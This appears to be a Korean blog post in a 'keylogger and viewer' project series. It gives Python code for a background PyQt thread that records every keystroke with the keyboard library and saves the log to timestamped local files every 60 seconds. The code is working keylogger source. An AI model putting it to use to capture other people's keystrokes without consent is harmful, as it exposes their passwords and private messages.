본문 바로가기
Python/Python_Project | 키로거 및 뷰어

키 기록부분 구현 및 자동저장 - 쓰레드 생성

by Pig_CoLa 2020. 5. 20.
SMALL
# 백그라운드 쓰레드 구축(레코딩 프로그램에 들어감)
class _record(QtCore.QThread):
    def __init__(self,selfs):
        super().__init__(selfs)
        self._state = False
        self.record = []
        self.mutex = QtCore.QMutex()
        self._time = None

    def run(self): # 쓰레드에서 실행될 구문
        while True:
            self.mutex.lock()
            if not self._state:
                self.recording()
            else:
                if time.time() - self._time >= 60: # 60초마다 저장한다
                    self.recording()
            self.mutex.unlock()

    def recording(self):
        self._state = not self._state
        if self._state:
            self._start_recording()
        else:
            self._stop_recording()

    def _start_recording(self):
        self._time = time.time()
        keyboard.start_recording()

    def _stop_recording(self):
        self.record = keyboard.stop_recording()
        self._save()

    def _save(self):
        if self.record != []:
            with open('log/{}'.format(time.strftime('%Y-%m-%d_%H_%M_%S',time.localtime()))
            ,'wb') as mydata:
                pickle.dump(self.record,mydata)
            self.record = []

 

LIST

댓글